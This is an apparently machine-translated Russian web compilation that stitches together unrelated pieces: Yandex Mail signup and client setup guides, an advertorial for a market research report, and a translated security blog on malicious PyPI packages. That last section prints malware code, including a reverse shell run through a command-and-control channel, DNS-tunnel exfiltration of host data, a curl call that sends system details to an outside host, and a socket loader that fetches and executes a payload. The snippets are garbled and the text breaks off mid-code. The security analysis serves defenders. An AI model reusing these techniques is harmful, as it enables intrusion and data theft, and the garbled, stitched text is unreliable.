    Отправная точка — наиболее логичный шаг из всех. Откройте свой обычный веб-браузер и в адресной строке (обычно расположенной вверху) напишите URL-адрес, который мы оставляем для вас ниже: https: // yandex.com . Вы попадете на главную страницу Яндекса, где можно начать создание новой учетной записи электронной почты.

    2 — Начните создавать электронную почту

    Как видите, веб-сайт полностью на английском языке , поэтому мы будем использовать английские термины, которые, кажется, позволяют вам легче идентифицировать их. Чтобы войти в регистрационную форму, как только вы окажетесь на основном сайте, перейдите в верхний правый угол и нажмите « Войти » рядом со значком конверта.

    После этого на новом экране, на который вы будете перенаправлены, вам нужно нажать «Создать учетную запись» (желтая кнопка), чтобы начать работу с формами.Другой вариант, « Войти », используется для доступа только после того, как вы создали свою учетную запись электронной почты в Яндекс Почте.

    3 — Заполните форму регистрации аккаунта

    Теперь вам нужно выполнить шаг, который никогда не дает сбоев в этом типе процедуры: введите данные в регистрационную форму. Для этого необходимо начать с ввода вашего имени champ « Имя » и вашего имени в « Name ». Рекомендуется, чтобы они были правдивыми, если вы хотите использовать это электронное письмо, поскольку они будут сопровождаться как владелец электронной почты.

    После этого вам нужно установить, каким будет имя учетной записи электронной почты , которое будет сопровождаться « @ yandex.com ». Подумайте о чем-то, что может быть уникальным и легко запоминающимся, и запишите его в » Введите имя пользователя “, вы будете автоматически проинформированы, доступен он или нет. Если нет, вам следует найти другую альтернативу.

    Затем следующий шаг: введите слово de pass champ « Введите пароль ».Это должно быть что-то личное и непередаваемое, поскольку оно будет отвечать за ограничение доступа к вашему профилю электронной почты. Также попробуйте сочетать числа с прописными и строчными буквами, чтобы сделать его более сложным. После того, как вы его написали, повторите его в чемпионате « Подтвердите пароль ».

    Последний шаг — ввести номер мобильного телефона поле « Телефонный номер ». Вы не можете проигнорировать его и ввести его, нажав « У меня нет номера телефона » (« У меня нет» t иметь номер телефона “), чтобы избежать отправки SMS на терминал, что может повлечь дополнительные расходы.

    «ОБНОВЛЕНИЕ Хотите качественное письмо, соответствующее названию вашей компании или веб-сайту? Не знаете, как открыть счет в этой фантастической почтовой службе? вы можете сделать это без проблем ✅ СКАЧАТЬ ПРИЛОЖЕНИЕ ✅ для Android и iOS «

    После этого появится вопрос безопасности , который вам нужно будет выбрать из раскрывающегося меню. Выберите наиболее подходящий и напишите свой ответ в поле « ответ на секретный вопрос ».После этого впишите в поле ниже буквы и цифры появившегося изображения, соблюдая заглавные буквы. После этого перейдите к желтой кнопке с текстом «Зарегистрироваться» и нажмите на нее, чтобы двигаться вперед.

    4 — Почтовый ящик Яндекса готов!

    После завершения предыдущего шага у вас будет ваша учетная запись электронной почты в Яндексе более чем готов для начала работы. Интернет отправит вас прямо в главное меню менеджера с открытым почтовым ящиком перед вами.Отсюда вы можете отправлять или читать электронные письма , полученные , а также искать или систематизировать как свой список контактов, так и календарь событий.

    Отныне вы можете свободно использовать только что созданную учетную запись электронной почты на Яндексе . Вы даже можете без проблем настроить его на своем мобильном телефоне, просто введя ряд настроек, которые мы подробно обсудим в следующем разделе.

    Как настроить учетную запись Яндекс Почты?

    Как и в случае с любой обычной электронной почтой, Яндекс имеет веб-сайт, с которого вы можете получить доступ к своей почте обычно .В нем пользователь имеет возможность выполнять любые действия, типичные для электронной почты: отправлять сообщения, получать их, отправлять файлы, загружать их, просматривать события в календаре, организовывать список контактов, настраивать подписи и многое другое.

    Есть те, кто предпочитает убрать это письмо из веб-формата и наслаждаться им с большей свободой. Существует множество программ ( Thunderbird, Outlook и т. Д. ), в которых вы можете интегрировать эту новую учетную запись, чтобы использовать ее и получать уведомления о новых сообщениях без доступа к порталу.Фактически, можно сделать даже на вашем мобильном телефоне, будь то Android или iOS , путем ввода ряда параметров в меню для интеграции новых учетных записей.

    Если вы хотите узнать, как настроить учетную запись электронной почты на Яндексе , мы покажем вам наиболее важные настройки, чтобы вы могли это сделать. Это данные (перечисленные здесь для параметров IMAP и POP3), которые необходимо ввести в соответствующие разделы параметров , чтобы обеспечить правильную работу почты даже за пределами веб-платформы, на которой она обычно используется.

    Перед тем, как показать вам данные, мы должны указать, что вы всегда выбираете опцию , настраивать вручную , в противном случае рассматриваемая программа или терминал попытается автоматически определить параметры, которые она считает необходимыми, что не всегда работает хорошо.

    IMAP:

    • Имя входящего сервера: imap.yandex.com
    • Входящий порт сервера: 993
    • Безопасность входящих соединений: SSL
    • Имя сервера исходящей почты: smtp.yandex.com
    • Порт исходящего сервера: 465
    • Безопасность исходящих соединений: SSL

    POP3:

    • Имя сервера входящей почты: pop.yandex.com
    • Входящий порт сервера: 995
    • Безопасность входящих соединений: SSL
    • Имя сервера исходящей почты: smtp.yandex.com
    • Порт исходящего сервера: 465
    • Безопасность исходящих соединений: SSL

    В обоих случаях помните, что всякий раз, когда запрашивается имя пользователя и пароль, вы должны вводить как адрес электронной почты, который вы хотите использовать, так и соответствующий код доступа.. Многие люди, как правило, совершают ошибку, вводя « Username » или только часть адреса электронной почты, в опуская в конце (в данном случае « @ yandex.com ») , что очень важно.

    Если есть какие-либо сомнения относительно , как получить доступ к этим настройкам для настройки почты , имейте в виду, что в случае выполнения этого через программное обеспечение на ПК, вы должны найти меню учетных записей и, оказавшись внутри, ввести параметр для добавления новый аккаунт. Обычно это что-то доступно в разделе инструментов или опций.На мобильных, собственно, процесс очень похож. Вам необходимо войти в настройки, меню аккаунта и добавить новый. Сообщить об этом объявлении

    Если у вас есть какие-либо вопросы, оставляйте их в комментариях, мы свяжемся с вами как можно скорее, и это будет большим подспорьем для большего числа членов сообщества. Спасибо!

    Узнайте, как быстро настроить Яндекс почту для Outlook 2003/07/10/13/16

    Яндекс — одна из транснациональных компаний, специализирующихся на работах, связанных с Интернетом.Это крупнейшая поисковая система в России и четвертая по величине поисковая система в мире. Он разрабатывает ряд продуктов и услуг, связанных с Интернетом. В аккаунте есть возможность настроить почту Яндекса на Outlook 2003/07/10/13/16 и многие другие клиенты. Миссия компании — дать ответы на все вопросы пользователей. Его домашняя страница — один из самых популярных в России. Он предоставляет такие услуги, как облачное хранилище, бесплатный общедоступный DNS, публикация фотографий, сервис электронных платежей и т. Д.В Яндекс браузере есть движок макета мигания, он предупреждает, когда пользователь посещает вредоносные сайты, а также проверяет загруженные файлы с помощью какого-либо антивируса.

    Microsoft Outlook считается менеджером личной информации, а также является частью офисного пакета Microsoft. Он включает в себя календарь, контакты, журналы и т. Д., Которые мы можем загрузить с Яндекса в Outlook, если это возможно. В нем есть визуальные средства массовой информации Microsoft, которые помогают пользователям создавать собственное программное обеспечение с использованием Outlook и офисных компонентов.Он имеет инструменты восстановления индекса, такие как Scan PST и Scan OST, а также поддерживает протоколы SMTP, POP3 и IMAP для передачи электронной почты.

    Настроить Яндекс Почту для Outlook — Преимущества:

    1) Outlook очень хорошо работает с Active Directory

    2) Может интегрироваться со многими другими устройствами и приложениями, такими как смартфон, Black Berry и т. Д.

    3) Это упрощает организацию наших ресурсов, поэтому добавление почты Яндекса в Outlook — хороший метод

    4) Может работать с точкой обмена.

    5) Его пользовательский интерфейс знаком всем.

    6) Предлагает интегрированные календари, задачи, контакты и т. Д.

    Из-за этих преимуществ настроить почту Яндекса на Outlook 2003/07/10/13/16 — хорошее решение. Таким образом, это можно сделать вручную, а именно:

    Ручное решение для настройки Яндекс-почты с Outlook:

    , шаг 1. Запустите Outlook.
    Щелкните «Информация» и «Параметры учетной записи» в меню файла и выберите в списке «Параметры учетной записи».

    Шаг 2. Нажмите «Создать» — выберите учетную запись электронной почты на вкладке «Электронная почта» и нажмите «Далее».

    Шаг 3. Установите флажок «Настроить вручную параметры сервера или выбрать дополнительные типы серверов», после чего нажмите «Далее».

    Шаг 4: Выберите вариант POP или IMAP, после чего нажмите кнопку Далее, чтобы настроить почту Яндекса на Outlook.

    Шаг 5: Вы видите, что настройки POP и IMAP заполнены в полях, как показано ниже:

    • Ваше имя: введите имя для людей, которые хотят видеть, когда вы отправляете электронное письмо
    • Адрес электронной почты: полностью введите свой адрес электронной почты
    • Тип учетной записи: выберите POP или IMAP, если хотите
    • Сервер входящей почты: поп.yandex.com или imap.yandex.com
    • Сервер исходящей почты: SMTP, smtp.yandex.com для пересылки электронной почты Яндекса в Oulook.
    • Имя пользователя: Введите адрес Эмиля
    • Пароль: Введите пароль для этого адреса электронной почты
    • Запомнить пароль: Outlook сохранит пароль при установке этого флажка.
    • Требовать входа в систему с использованием безопасной проверки пароля: не проверяйте это.

    Шаг 6: Нажмите кнопку Дополнительные настройки, чтобы настроить Яндекс почту

    Шаг 7: Щелкните вкладку «Текущий сервер».
    Установите флажок «Мой сервер исходящей почты требует аутентификации».
    Установите флажок «Использовать те же настройки, что и мой сервер входящей почты».
    Шаг 8: Щелкните вкладку «Дополнительно». Введите настройки ниже:

    Сервер входящей почты: стандартный (POP3): 110 и стандартный (IMAP): 143 доступны выберите один.

    Исходящий сервер: Стандарт: 25

    Шаг 9: Нажмите ОК

    Шаг 10: Нажмите кнопку Далее, затем Outlook протестирует настройки учетной записи, после чего вы увидите две задачи:

    войдите на сервер входящей почты и отправьте сообщение электронной почты для тестирования, после завершения нажмите кнопку закрытия.
    Вы увидите сообщение «Все готово», затем нажмите кнопку «Готово».Итак, задача по настройке Яндекс-почты на Outlook завершена.

    Автоматизированный способ экспорта почты Яндекса в Outlook:

    Для упрощения процесса всегда рекомендуется использовать высокопрофессиональный инструмент стороннего производителя, который может эффективно работать. Вот инструмент под названием SysTools Yandex Mail Backup Software , который может легко экспортировать Яндекс в Outlook. Его функции перечислены ниже:

    Особенности:
    1. Используется для пересылки электронной почты Яндекса в Oulook.
    2. Сохраните элементы данных учетной записи электронной почты всего за несколько кликов.
    3. Имеется возможность сохранять электронные письма в форматах PST, EML, MSG.
    4. Поддерживается фильтрация по дате
    5. Можно добавить почту Яндекса в Outlook с установкой Outlook или без нее.
    6. Предоставьте стандартные функции именования.

    Вывод:

    В этой статье рассказывалось о том, как настроить почту Яндекса в Outlook. Также упоминаются ручные и автоматические методы настройки.Выполнение вручную — это сложная задача, потому что она имеет некоторые ограничения, такие как трудоемкость, большое количество шагов и т. Д. Чтобы избежать таких ситуаций, вы можете предпочесть стороннее решение под названием SysTools Yandex Mail Backup Software. Эта утилита дает хороший результат и может легко пересылать электронную почту Яндекса в Oulook.

    Как пересылать письма с Яндекса на другой адрес

    Принимая во внимание современные онлайн-угрозы, всегда лучше хранить резервную копию своих электронных писем на Яндексе.Это поможет вам получить доступ к своей электронной почте, даже если ваша учетная запись Яндекс.Почты будет взломана. Один из идеальных способов защитить свои электронные письма — пересылать их на другой адрес электронной почты. Это не только помогает сохранить вашу электронную почту в безопасности, но также позволяет вам легко получать доступ к входящей электронной почте из единого почтового ящика.

    Чтобы узнать, как настроить учетную запись Яндекс Почты для автоматической отправки входящих писем на другой адрес электронной почты, следуйте пошаговым инструкциям, приведенным ниже.

    Этапы автоматической пересылки писем с Яндекса на другой адрес электронной почты

    1.) Войдите в свою учетную запись Яндекс Почты и нажмите на опцию Settings (значок Gear ), расположенную в правом верхнем углу вашей учетной записи.

    2.) В раскрывающемся меню, появившемся на экране, выберите параметр « Фильтрация сообщений ». Вы будете перенаправлены на страницу Фильтры входящей почты .

    3.) На этой странице нажмите на опцию « Создать фильтр », выделенную желтым цветом. При нажатии на эту кнопку откроется небольшая форма для заполнения для создания нового фильтра.

    4.) Начните с раздела « IF » и внесите соответствующие изменения в параметры, чтобы определить электронные письма, которые вы хотите фильтровать.

    5.) Затем вам нужно будет нажать на опцию Добавить условие , если вы хотите включить дополнительные условия для фильтрации электронных писем. Если вы добавили дополнительные условия, вам нужно будет выбрать один из вариантов — « соответствует хотя бы одному из условий » и соответствует всем условиям .Эти параметры будут расположены сразу под словом « Если ».

    6.) Затем в разделе « Выполните следующее действие » вам нужно будет выбрать параметры для настройки действия, которое вы хотите настроить для входящих писем.

    7.) После этого вам нужно будет ввести адрес электронной почты в поле « Переслать на », куда вы хотите пересылать входящие электронные письма. в поле « Переслать на ». Кроме того, не забудьте установить флажок рядом с опцией « сохранить копию », если вы хотите сохранить копии писем в своем Яндекс.Почтовый аккаунт.

    ПРИМЕЧАНИЕ: Вам также может потребоваться ввести пароль на этом шаге.

    8.) При желании вы также можете включить опцию отправки уведомления, установив флажок рядом с «Отправить уведомление на» и введя в него информацию. Кроме того, вы также можете создать сообщение, установив флажок рядом с опцией « Отправить ответ со следующим сообщением » и введя сообщение в поле под ним.

    После того, как вы выполните указанные выше действия, нажмите кнопку «Создать фильтр».Ваша учетная запись Яндекс.почты будет настроена для автоматической пересылки писем на другой адрес электронной почты.

    ПРИМЕЧАНИЕ: На другой адрес электронной почты будут пересылаться только будущие входящие электронные письма, а не существующие электронные письма в вашей учетной записи, включая «Отправленные», «Черновики» или «Исходящие».

    Как экспортировать электронные письма и контакты из почты Яндекса?

    Всегда полезно хранить резервную копию ваших электронных писем.В случае каких-либо непредвиденных обстоятельств резервная копия электронной почты может оказаться очень кстати. Поскольку Яндекс.Почта совместима практически со всеми почтовыми программами, вы можете настроить ее с помощью IMAP или POP на любой платформе, компьютере или мобильном устройстве. Также Яндекс.Почта позволяет пользователям настроить фильтр и пересылать письма на любой другой адрес электронной почты. Любым из способов легко экспортировать из Яндекс.Почты. Ниже мы представили шаги по экспорту писем из Яндекс.Почты с использованием пересылки.

    Шаги по экспорту писем из Яндекс.Почта

    Чтобы экспортировать письма из Яндекс.Почты, вам необходимо настроить пересылку писем в своем аккаунте, выполнив следующие действия.

    1.) Перейдите к параметру Settings ( Gear значок ) и щелкните на Message filtering option.

    2.) В разделе Фильтрация сообщений щелкните на опции Создать фильтр .

    3.) Теперь выберите кнопки рядом с опцией — « Применить к » и выберите опции — « все сообщения, исключая спам » и « с вложениями и без них, ».

    4.) Затем перейдите в раздел « IF » и внесите изменения в параметры в раскрывающихся меню, чтобы определить электронные письма, которые вы хотите фильтровать.

    5.) Затем нажмите Добавить условие , если вы хотите добавить дополнительные условия. Обязательно просмотрите параметры чуть ниже « IF », которые содержат параметры — « Соответствует хотя бы одному из условий » и Соответствует всем условиям .

    Примечание: Две вышеупомянутые опции появятся только в том случае, если вы установили более одного условия.

    6.) После этого перейдите в раздел « Выполните следующее действие » и выберите подходящие варианты из предложенных.

    7.) Затем введите адрес электронной почты, на который вы хотите переслать электронные письма, в поле « Переслать на ». Если вы хотите сохранить копии писем в Яндекс.Почте, установите флажок « сохранить копию »
    .

    ПРИМЕЧАНИЕ: Здесь вам может потребоваться ввести пароль.

    8.) Подтвердите процесс пересылки, если вас попросят об этом.

    Как экспортировать контакты из Яндекс.Почты

    Не только электронные письма, но и контакты со своего аккаунта Яндекс.Почты можно пересылать. Вот шаги:

    • В своем аккаунте Яндекс.Почты перейдите в раздел «Контакты» и нажмите кнопку « Подробнее » в верхнем меню.
    • Выбрать Сохранить контакты в файл
    • Затем выберите имя почтового клиента и язык интерфейса в окне, которое появится на вашем экране.
    • После этого нажмите на опцию « Сохранить ».

    Все контакты из вашего аккаунта Яндекс.Почты будут экспортированы на ваш компьютер в виде файла формата CSV. Вы можете импортировать этот файл в желаемый почтовый клиент и добавить в него контакты.

    Отчет об анализе воздействия на рынок и графическом отображении семантических знаний

    — Microsoft, Yandex, LinkedIn — Energy Siren

    Отчет «Рынок графического отображения семантических знаний » посвящен всестороннему анализу текущих и будущих перспектив индустрии графического отображения семантических знаний.Этот отчет представляет собой объединение первичных и вторичных исследований, которые обеспечивают размер рынка, долю, динамику и прогнозы для различных сегментов и подсегментов с учетом макро- и микросредовых факторов. Для расчета темпов роста для каждого сегмента и подсегментов был проведен углубленный анализ прошлых тенденций, будущих тенденций, демографии, технологических достижений и нормативных требований для рынка графических семантических знаний.

    Карты семантических знаний включают связанные термины, используемые для обнаружения доменов, объясняя множественные значения похожих фраз, облегчая семантический поиск путем расширения пользовательских запросов до соответствующих ключевых слов / фраз и определения актуальных тем в данных временных рядов.Он также может создавать механизмы рекомендаций на основе контента, очищать данные, оценивая каждый элемент в соответствии с его релевантностью, обобщать документы, оценивая важность каждой фразы и объекта в документе, и выполнять прогнозный анализ временных данных. извлекать и представлять предметно-ориентированные знания из набора документов, представляющих предметную область. Это представление кодирует семантические отношения между различными словами, фразами и концепциями, так что эти отношения могут раскрывать новую информацию о взаимоотношениях между всеми объектами в предметной области, обеспечивая полезная реальность для акцептора.Карты знаний более точны, доступны и более ценны, чем простые биологические карты. Они объединяют все, что один человек написал и сделал, чтобы лучше понять клиента и рынок, а семантические технологии являются наиболее важными в идее глубинных ссылок.

    Получите образец копии (включая ПОЛНОЕ оглавление, графики и таблицы) этого отчета: https://www.a2zmarketresearch.com/sample-request/565336

    Ведущие ключевые поставщики на этом рынке:

    Microsoft, Яндекс, LinkedIn, Google, Franz, Semantic Web Company, Baidu, Wolfram Alpha.

    Сегментация рынка глобальных семантических графиков знаний:

    Сегментация рынка: по типу

    Текстовый дисплей
    Фото-презентация
    Глубокое чтение
    Другое

    Сегментация рынка: по приложениям

    Семантический поиск
    Машина вопросов и ответов
    Поиск информации
    Электронное чтение
    Онлайн-обучение

    На траекторию роста рынка влияют различные факторы, которые подробно изучаются в отчете.Кроме того, в отчете перечислены ограничения, которые представляют угрозу для глобального рынка графических семантических знаний. Этот отчет представляет собой объединение первичных и вторичных исследований, которые обеспечивают размер рынка, долю, динамику и прогнозы для различных сегментов и подсегментов с учетом макро- и микросредовых факторов. Он также оценивает переговорные возможности поставщиков и покупателей, угрозу со стороны новых участников и продуктов-заменителей, а также степень конкуренции на рынке.

    Отчет дает представление о следующих указателях:

    Проникновение на рынок: Исчерпывающая информация о портфелях продуктов ведущих игроков рынка семантических графиков знаний.

    Конкурентная оценка : Углубленная оценка рыночных стратегий, географических и бизнес-сегментов ведущих игроков рынка.

    Разработка продукта / Инновации: Подробная информация о грядущих технологиях, исследованиях и разработках, а также о выпуске продуктов на рынок.

    Развитие рынка: Исчерпывающая информация о развивающихся рынках. В этом отчете анализируется рынок для различных сегментов в разных регионах.

    Диверсификация рынка: Исчерпывающая информация о новых продуктах, неизведанных географических регионах, последних разработках и инвестициях в рынок семантических графиков знаний.

    Получите специальные цены на этот премиальный отчет: https://www.a2zmarketresearch.com/discount/565336

    В отчете также подробно анализируется влияние последних правительственных директив.Он изучает траекторию рынка семантических знаний между периодами прогноза. Анализ затрат на глобальном рынке графических семантических знаний был проведен с учетом производственных затрат, затрат на рабочую силу и сырья, а также их рыночной концентрации, поставщиков и тенденций цен.

    Причины покупки этого отчета:

    • Предлагает анализ меняющегося конкурентного сценария.
    • Для принятия обоснованных решений на предприятиях он предлагает аналитические данные с методологиями стратегического планирования.
    • Исследователи проливают свет на динамику рынка, такую ​​как факторы, ограничения, тенденции и возможности.
    • Он предлагает региональный анализ рынка графических семантических знаний, а также бизнес-профили нескольких заинтересованных сторон.
    • Предлагает семилетнюю оценку рынка графических семантических знаний.
    • Это помогает понять основные ключевые сегменты продукции.
    • Он предлагает массивные данные о тенденциях факторов, которые будут влиять на развитие рынка графических семантических знаний.

    Содержание

    Отчет об исследовании рынка Global Semantic Knowledge Graphing 2021 — 2027

    Глава 1 Обзор рынка графического построения семантических знаний

    Глава 2 Глобальное экономическое влияние на промышленность

    Глава 3 Конкуренция производителей на мировом рынке

    Глава 4 Мировое производство, выручка (стоимость) по регионам

    Глава 5 Глобальное предложение (производство), потребление, экспорт, импорт по регионам

    Глава 6 Мировое производство, выручка (стоимость), динамика цен по типу

    Глава 7 Анализ мирового рынка с помощью приложения

    Глава 8 Анализ производственных затрат

    Глава 9 Промышленная цепочка, стратегия снабжения и покупатели в переработке

    Глава 10 Анализ маркетинговой стратегии, дистрибьюторы / трейдеры

    Глава 11 Анализ факторов рыночного эффекта

    Глава 12 Глобальный прогноз рынка графических семантических знаний

    Купить Эксклюзивный отчет: https: // www.a2zmarketresearch.com/checkout

    Если у вас есть особые требования, сообщите нам, и мы предложим вам отчет, какой вы хотите.

    Об исследовании рынка A2Z:

    Библиотека маркетинговых исследований A2Z предоставляет отчеты о синдикации от исследователей рынка со всего мира. Готовые к покупке синдикации Исследования рынка помогут вам найти наиболее актуальную бизнес-аналитику.

    Наш аналитик по исследованиям Предоставляет бизнес-идеи и отчеты об исследованиях рынка для крупного и малого бизнеса.

    Компания помогает клиентам выстраивать бизнес-политику и развиваться в этой области рынка. A2Z Market Research интересуется не только отраслевыми отчетами, касающимися телекоммуникаций, здравоохранения, фармацевтики, финансовых услуг, энергетики, технологий, недвижимости, логистики, общественного питания, СМИ и т. Д., Но также данными вашей компании, профилями стран, тенденциями, информацией. и анализ интересующей вас отрасли.

    Свяжитесь с нами:

    Роджер Смит

    1887 WHITNEY MESA DR HENDERSON, NV 89014

    [адрес электронной почты защищен]

    + 1775 237 4147

    Вредоносные пакеты в PyPI используют скрытые методы эксфильтрации

    Исследовательская группа JFrog Security непрерывно отслеживает репозитории популярного программного обеспечения с открытым исходным кодом (OSS) с помощью наших автоматизированных инструментов, чтобы сообщать об уязвимых и вредоносных пакетах специалистам по обслуживанию репозиториев.Ранее в этом году мы обнаружили несколько вредоносных пакетов, нацеленных на личные данные разработчиков, которые были загружены примерно 30 000 раз. Сегодня мы поделимся подробностями об 11 новых пакетах вредоносных программ, которые мы недавно обнаружили и раскрыли разработчикам PyPI (которые немедленно удалили их).

    Основываясь на наших последних результатах, в этом блоге мы выделяем некоторые из более продвинутых методов, используемых разработчиками вредоносных программ Python, чтобы избежать обнаружения и остаться в репозитории, чтобы заразить как можно больше компьютеров.

    Сообщенных пакетов

    ¹ Взято непосредственно из pepy.tech
    ² Номер версии, указывающий на атаку путаницы зависимостей

    importantpackage — оболочка Connectback с новой эксфильтрацией

    importantpackage содержит вредоносный код, использующий несколько изящных методов для обхода сетевого обнаружения.

    Злоупотребление завершением TLS CDN для кражи данных

    Первый метод заключается в использовании Fastly CDN для маскировки связи с сервером C2 как связи с pypi.орг. Связь вредоносного ПО довольно проста:

      url ​​= "https://pypi.python.org" + "/ images" + "?" + "guid =" + b64_payload
    r = request.Request (url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})  

    Этот код вызывает отправку HTTPS-запроса на pypi.python.org (который неотличим от легитимного запроса к PyPI) , который позже перенаправляется CDN как HTTP-запрос на сервер C2 psec.forward.io .global.prod.fastly.net (и наоборот, обеспечивая двустороннюю связь).

    Итак, исходящий зашифрованный запрос будет выглядеть так —

    (обратите внимание, что в сообщении используются все исходные криптографические параметры для pypi.org)

    Но после прохождения через CDN внутренний (C2) сервер получит запрос в незашифрованном виде :

    Как и почему это работает?

    Мы видим на следующей диаграмме —

    Инфраструктура PyPI размещена на Fastly CDN.Этот хостинг использует прозрачный HTTP-прокси Varnish для кэширования связи между клиентами и серверной частью. Сначала трафик поступает в терминатор TLS для дешифрования³, поэтому прокси Varnish может проверять содержимое HTTP-пакета. Прокси-сервер анализирует заголовки HTTP из запроса пользователя и перенаправляет запрос в соответствующий бэкэнд в соответствии с заголовком Host . Затем процесс повторяется в обратном направлении, позволяя вредоносной программе имитировать дуплексную связь с PyPI.

    В результате сеанс управления и контроля (C2) зашифрован и подписан законным сертификатом сервера, что делает его неотличимым от взаимодействия с легитимными ресурсами PyPI.

    ³ Терминатор TLS содержит закрытый ключ (дешифрования) TLS для соответствующего хоста, в данном случае pypi.org

    Обратите внимание, что зарегистрировать свой домен в Fastly чрезвычайно просто, и даже до некоторой степени это можно сделать анонимно (поскольку услуга бесплатна до тех пор, пока вы не достигнете определенного порога трафика).Таким образом, эта техника не требует от злоумышленника особых ресурсов.

    При этом мы не маркируем этот метод как программную уязвимость в Fastly, поскольку разумно предположить, что заголовок Host не искажен. Добавление проверок пакетов с отслеживанием состояния для противодействия этому методу может очень сильно повлиять на пропускную способность данных, что должно быть основным соображением CDN.

    Принимая во внимание все вышесказанное, этот метод имеет свои ограничения.Например, при создании XHR, согласно RFC, заголовок Host не может управляться сценарием, создающим XHR. Это удачно, поскольку в противном случае файлы cookie могли быть пропущены вредоносной веб-страницей, полагаясь на завершение TLS для получения расшифрованных данных из запроса пользователя, который в противном случае зашифрован с помощью ключа TLS предполагаемого хоста (например, pypi.org ).

    Управление и контроль на основе HTTP с использованием TrevorC2

    Помимо метода заголовка Hosts, разработчики вредоносного ПО использовали фреймворк TrevorC2 для реализации замаскированного клиента управления и контроля.Используя эту структуру, клиент связывается с сервером способом, похожим на стандартный просмотр веб-сайтов, делая трафик еще более неясным. Клиент отправляет запросы со случайным интервалом и скрывает полезную нагрузку в типичных HTTP-запросах GET. Например, типичный запрос имеет следующую форму: https://pypi.python.org/images/guid= .

    Вредоносная программа начинает связь с сервером C2, отправляя запрос, содержащий имя хоста зараженной машины.Если сервер решает продолжить сеанс, вредоносная программа устанавливает обратную оболочку через HTTP, предоставляя злоумышленнику полный контроль над зараженной машиной.

    Это можно увидеть в следующем фрагменте —

      html = req.get (SITE_URL + ROOT_PATH_QUERY)
    parse = html.decode (). split ("") [0]
    если имя хоста в синтаксическом анализе:
        parse = parse.split (имя хоста + "::::") [1]
        # выполняем нашу проанализированную команду
        proc = subprocess.Popen (parse, shell = True, stdout = subprocess.ТРУБА, stderr = subprocess.PIPE)
        stdout_value = proc.communicate () [0]
        stdout_value = (имя хоста + "::::" + str (stdout_value)). encode ('utf-8')
        stdout_value = base64.b64encode (stdout_value) .decode ('utf-8')
        # вывести stdout и base64 закодировать его, а затем запросить через параметр строки запроса
        html = req.post (SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING, data = stdout_value)  

    ipboards & pptest — эксфильтрация через DNS-туннелирование

    Другой популярный тип обхода сети, используемый разработчиками вредоносных программ, — это туннелирование DNS.Хотя это и не новый метод, мы впервые видим, что этот метод уклонения используется во вредоносных пакетах, загруженных в PyPI. Как следует из названия, этот метод использует DNS-запросы в качестве канала связи между машиной-жертвой и сервером C2.

    Когда DNS-сервер получает запрос с доменом, он пытается найти соответствующий IP-адрес в своей базе данных. Если об этом домене нет записи, сервер перенаправляет запрос на первый известный домен в адресе.

    Таким образом, злоумышленник может закодировать информацию для отправки на сервер C2 в ASCII, добавить ее к имени своего собственного домена и отправить DNS-запрос. (Законный) DNS-сервер перенаправит этот пакет на сервер C2.

    Например, в пакете ipboards можно найти следующий вредоносный код:

      # Кодировать собранную информацию как шестнадцатеричную строку
    payload = ip + ';' + username + ';' + hostname + ';' + str (now) + ';' + path + ';' + packagename + ';' + hostFile
    полезная нагрузка = hexlify (байты (полезная нагрузка))
     
    # Разбивает полезную нагрузку на 50-байтовые куски
    chunks = [полезная нагрузка [i: i + 50] для i в диапазоне (0, len (полезная нагрузка), 50)]
     
    # Отправлять чанки через DNS-запросы
    для куска кусками:
        dns.resolver.query (pd.decode ("utf-8") + dnss, 'A')  

    Этот код может генерировать следующие доменные имена: 69703a75736572617474686576756c6e657261626c656d616368696e65.b0a0374cd1cb4305002e.d.requestbin.net . Это доменное имя будет отправлено как часть DNS-запроса на законный DNS-сервер.

    Поскольку DNS-сервер не знает адрес всего домена, но знает адрес b0a0374cd1cb4305002e.d.requestbin.net , он перенаправит весь запрос на этот домен (который является сервером C2) и C2 сервер может извлечь полезную нагрузку из строки префикса — 69703a75736572617474686576756c6e657261626c656d616368696e65

    owlmoon и DiscordSafety — трояны, захватывающие токены Discord

    Как было показано в нашем предыдущем блоге, многие вредоносные пакеты нацелены на пользователей Discord, воруя их токены аутентификации.Большинство этих вредоносных пакетов основаны на хорошо известных «стилерах» с открытым исходным кодом и не очень интересны с технической точки зрения. Однако иногда они более изобретательны в плане уклонения.

    Интересный пример, который мы видели, заключается в сокрытии вредоносного кода как зависимости. Вредоносная программа состоит из двух частей:

    .

    1. Вредоносный пакет, который ворует токены и относительно легко обнаруживается
    2. «Допустимый» пакет, который может быть установлен путем типосквоттинга или путаницы с зависимостями, не содержит каких-либо вредоносных функций.Скорее, он просто указывает вредоносный пакет, который будет импортирован (при установке) как часть ключевого слова install_requires distutils (в setup.py ):
      install_requires = [
        'Запросы',
        'beautifulsoup4',
        'совиная луна',
    ]  

    В данном случае owlmoon — это вредоносный пакет, который содержит фактическую логику перехвата токена Discord.

    Пакеты «вредоносного ПО» для поиска ошибок

    После того, как Алекс Бирсан доказал, что неправильная конфигурация цепочки поставок может приносить существенные награды, охотники за ошибками начали наводнять репозитории своими пакетами, пытаясь извлечь выгоду из уязвимостей, связанных с типографским сквоттингом и путаницей зависимостей.Пример из этой весны — пользователь remindsupplychainrisks загрузил более 5000 пакетов-подражателей в репозитории PyPI и npm. Такие пакеты постоянно появляются в репозиториях — обычно они имеют относительно безобидную функциональность, просто отправляя не-PII данные о системе после установки пакета (чтобы автор мог потребовать вознаграждение):

      os.system ('curl https: // 898b5ca5e76134be965acd [.] Bufferover [.] Run / yow_utils / $ (whoami | base64) / $ (имя хоста -f | base64)')  

    В других случаях их сложно отличить от вредоносного ПО.Например, пакет distutil явно пытается выполнить атаку типосквоттинга на хорошо известный пакет distutils . В пакете есть описание «не загружайте это», но это описание не отображается, когда установка запускается из-за типографской ошибки, сделанной при вызове pip (либо через командную строку, либо через файл requirements.txt). Более того, функциональность пакета distutil оказывает чрезвычайно сильное влияние на безопасность (больше, чем необходимо для получения вознаграждения за ошибку).Сразу после установки пакет пытается подключиться к IP-адресу, считывает с него закодированную полезную нагрузку и выполняет ее как код Python:

      импортный сокет, zlib, base64, struct, время
    для x в диапазоне (10):
        пытаться:
         s = socket.socket (2, socket.SOCK_STREAM)
         s.connect (('192.168.1.69', 4444))
         перерыв
        Кроме:
         время сна (5)
    l = struct.unpack ('> I', s.recv (4)) [0]
    d = s.recv (l)
    а len (d)  

